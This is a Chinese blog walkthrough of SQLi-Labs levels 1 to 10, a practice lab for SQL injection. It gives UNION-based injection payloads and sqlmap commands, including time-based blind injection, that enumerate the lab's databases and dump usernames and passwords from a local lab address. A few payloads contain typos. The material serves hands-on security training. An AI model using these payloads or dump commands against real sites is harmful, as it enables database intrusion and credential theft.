SQL注入|SQL注入 - SQLi-Labs靶场过关记录 SQL注入-SQLi-Labs靶场过关记录

Less-1 1、看报错类型，确定注入点

?id=1' order by 4--++

文章图片

2、确定数据库

?id=-1' union select 1,2,3--++

文章图片

3、查看数据库

?id=-1' union select 1,2,database(); --++

文章图片

4、查看数据库中的表

?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--++

文章图片

5、提取security数据库中的users表的信息

?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--++

文章图片

6、提取users表中的用户名和密码，注入完成

?id=1' union select 1,2,group_concat(username,"+",password) from security.users--++

文章图片
Less - 2 1、直接测试报错

?id=1 order by 4--++

文章图片

2、查询当前数据库名

?id=-1 union select 1,2,database(); --++

文章图片

3、查看当前数据库所有表名

?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database(); --++

文章图片

4、查看users表的结构信息

?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--++

文章图片

【SQL注入|SQL注入 - SQLi-Labs靶场过关记录】5、查询users表中的用户名和密码

?id=-1 union select 1,group_concat(username,"+",password),3 from security.users--++

文章图片

Less - 3 1、测试报错，查看注入点

?id=1") order by 4--++

文章图片

2、查看当前用户、数据库版本、当前数据库

?id=1') union select 1,2,group_concat(user(),"+",version(),"+",database()); --++

3、查看security库中的表

?id=1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'; --++

文章图片

4、查看users表的结构

?id=1') union select 1,2,group_concat(columns_name) from information_schema.columns where table_name='users'; --++

文章图片

5、查看users表中的username和password，完成注入

?id=1') union select 1,2,group_concat(username,"+",password) from security.users; --++

文章图片

Less - 4 1、测试报错，查找注入点

?id=1") order by 4--++

文章图片

2、查看当前用户、数据库版本、当前数据库

?id=-1") union select 1,2,group_concat(user(),"+",version(),"+",database()); --++

文章图片

3、查看security库中的表

?id=-1") union group_concat(tables_name) from information_schema.tables where table_schema='security'; --++

文章图片

4、查看users表的结构，语句与上一关差不多

文章图片

5、查看users表中的username和password，完成注入

文章图片

Less - 5 1、测试报错

?id=1' order by 3--+

不报错，但无回显

文章图片

?id=1' order by 4--+

报错，确定存在注入点

文章图片

?id=1' union select 1,2,3--+

无数据回显，可能需要盲注

文章图片

2、用sqlmap跑一下，测试报错注入

sqlmap -u "http://192.168.40.128:86/Less-5/?id=1'"

文章图片

3、查询所有数据库

sqlmap -u "http://192.168.40.128:86/Less-5/?id=1'" --dbs -v 3

文章图片

4、查询当前数据库

sqlmap -u "http://192.168.40.128:86/Less-5/?id=1'" --current-db -v 3

文章图片

5、查询当前数据库下的表

sqlmap -u "http://192.168.40.128:86/Less-5/?id=1'" -D"security" --tables -v 3

文章图片

6、发现有一个名为users的表，查询users的所有字段名

sqlmap -u "http://192.168.40.128:86/Less-5/?id=1'" -D"security" -T"users" --columns -v 3

文章图片

7、发现username和password字段，查询这两个字段

sqlmap -u "http://192.168.40.128:86/Less-5/?id=1'" -D"security" -T"users" -C"username,password" --dump -v 3

文章图片

Less - 6 1、测试报错

http://192.168.40.128:86/Less-6/?id=1" order by 3--+

没有报错，但是也没有数据回显

文章图片

http://192.168.40.128:86/Less-6/?id=1" order by 4--+

报错，确定存在注入点

文章图片

2、查询无回显，需要盲注

http://192.168.40.128:86/Less-6/?id=1" union select 1,2,3--+

文章图片

3、使用sqlmap测试注入点

sqlmap -u http://192.168.40.128:86/Less-6/?id=1" -v 3

文章图片

4、使用sqlmap盲注查询所有数据库

sqlmap -u 'http://192.168.40.128:86/Less-6/?id=1"' --dbs

文章图片

5、sqlmap查询当前数据库

sqlmap -u 'http://192.168.40.128:86/Less-6/?id=1"' --current-db -v 3

文章图片

6、sqlmap查询当前数据库security下的所有表

sqlmap -u 'http://192.168.40.128:86/Less-6/?id=1"' -D"security" --tables -v 3

文章图片

7、发现存在users表，查询该表中的所有字段

sqlmap -u 'http://192.168.40.128:86/Less-6/?id=1"' -D"security" -T"users" --columns -v 3

文章图片

8、发现username和password字段，查询这两个字段的内容

sqlmap -u 'http://192.168.40.128:86/Less-6/?id=1"' -D"security" -T"users" -C"username,password" --dump -v 3

文章图片

Less - 7 1、测试报错

http://192.168.40.128:86/Less-7/?id=1')) order by 4--+

文章图片

2、sqlmap测试报错注入点

sqlmap -u "http://192.168.40.128:86/Less-7/?id=1'))" -v 3

文章图片

3、sqlmap查询当前数据库

sqlmap -u "http://192.168.40.128:86/Less-7/?id=1'))" --current-db -v 3

文章图片

4、sqlmap查询当前数据库下的所有表

sqlmap -u "http://192.168.40.128:86/Less-7/?id=1'))" -D"security" --tables -v 3

文章图片

5、发现存在users表，查询该表下所有字段名

sqlmap -u "http://192.168.40.128:86/Less-7/?id=1'))" -D"security" -T"users" --columns -v 3

文章图片

6、发现字段username和password，查询内容

sqlmap -u "http://192.168.40.128:86/Less-7/?id=1'))" -D"security" -T"users" -C"username,password" --dump -v 3

文章图片

Less - 8 1、测试报错

文章图片

2、直接sqlmap跑注入点

sqlmap -u 'http://192.168.40.128:86/Less-8/?id=1%22' -v 3

文章图片

3、sqlmap查询当前用户

sqlmap -u 'http://192.168.40.128:86/Less-8/?id=1%22' --current-user -v 3

文章图片

4、sqlmap查询所有数据库

文章图片

5、查询当前数据库

sqlmap -u 'http://192.168.40.128:86/Less-8/?id=1%22' --current-db -v 3

文章图片

6、查询当前数据库下的所有表

sqlmap -u 'http://192.168.40.128:86/Less-8/?id=1%22' -D"security" --tables -v 3

文章图片

7、发现users表，查询表中所有字段

sqlmap -u 'http://192.168.40.128:86/Less-8/?id=1%22' -D"security" -T"users" --columns -v 3

文章图片

Less - 9 1、测试单双引号和字符均无报错，直接sqlmap测试

sqlmap -u "http://192.168.40.128:86/Less-9/?id=1" -v 3

文章图片

2、查询所有数据库

sqlmap -u "http://192.168.40.128:86/Less-9/?id=1" --dbs -v 3

文章图片

3、查询当前数据库与用户名

sqlmap -u "http://192.168.40.128:86/Less-9/?id=1" --current-db --current-user -v 3

文章图片

文章图片

4、查询当前数据库下的所有表

sqlmap -u "http://192.168.40.128:86/Less-9/?id=1" -D"security" --tables -v 3

文章图片

5、发现users表，查询字段

sqlmap -u "http://192.168.40.128:86/Less-9/?id=1" -D"security" -T"users" --columns -v 3

文章图片

6、发现username和password字段，查询内容

sqlmap -u "http://192.168.40.128:86/Less-9/?id=1" -D"security" -T"users" -C"username,password" --dump -v 3

文章图片

Less - 10 1、使用sqlmap进行延时注入，level设置为3,可以测试双字符，线程设置为10

sqlmap -u "http://192.168.40.128:86/Less-10/?id=1" -p id --technique T -threads 10 -v 3 -level 3 --time-sec 9

文章图片

Payload: id=1" AND (SELECT 3880 FROM (SELECT(SLEEP(9)))aNIN) AND "Rweq"="Rweq

2、sqlmap测试当前数据库

sqlmap -u "http://192.168.40.128:86/Less-10/?id=1" -p id --technique T -threads 10 -v 3 -level 3 --time-sec 9 --current-db

文章图片

当前数据库名：security
3、sqlmap测试当前数据库下的表名

sqlmap -u "http://192.168.40.128:86/Less-10/?id=1" -p id --technique T -threads 10 -level 3 --time-sec 9 -D"security" --tables -v 3

文章图片

当前数据库security下存在的表：emails、referes、uagents、users
4、直接爆数据

sqlmap -u "http://192.168.40.128:86/Less-10/?id=1" -p id --technique T -threads 10 -level 3 --time-sec 9 -D"security" -T"users" -C"username,password" --dump -v 3

文章图片

SQL注入|SQL注入 - SQLi-Labs靶场过关记录

推荐阅读

青鱼怎么烧好吃青鱼怎么烧好吃一些

物流服务合同样本

告字的部首是什么告字的部首是什么偏旁

比特梵德安卓中文版小红伞中文版

椒酱肉粒粥的做法

搜狗浏览器设置自动保存账号密码的操作方法是什么搜狗浏览器设置自动保存账号密码的操作方法

元素无缝墙创新无缝拼接！品质“布”同,天衣无缝！

10月1黄金会降价吗意料之中

2021年北方五月份可以穿短袖吗

如何在非专用主机上搭建服务器？非专用主机服务器怎么搞

什么是CPS？

小猫多久洗澡一次合适小猫多大洗澡合适

建国钞收藏价值空间如何

国内实力派男演员有哪些？其中最让你欣赏的是哪些？

孔雀鱼为什么吃小虾告诉你个小技巧

人前他是让人不寒而栗的商业恶魔如何尖叫让别人不寒而栗，让人不寒而栗的话

吃脆柿要吐皮吗

腾讯云服务器怎么看账号和密码腾讯云服务器怎么看ftp

蚨怎么读蚨的读音

期货分析工具,热轧卷板期货分析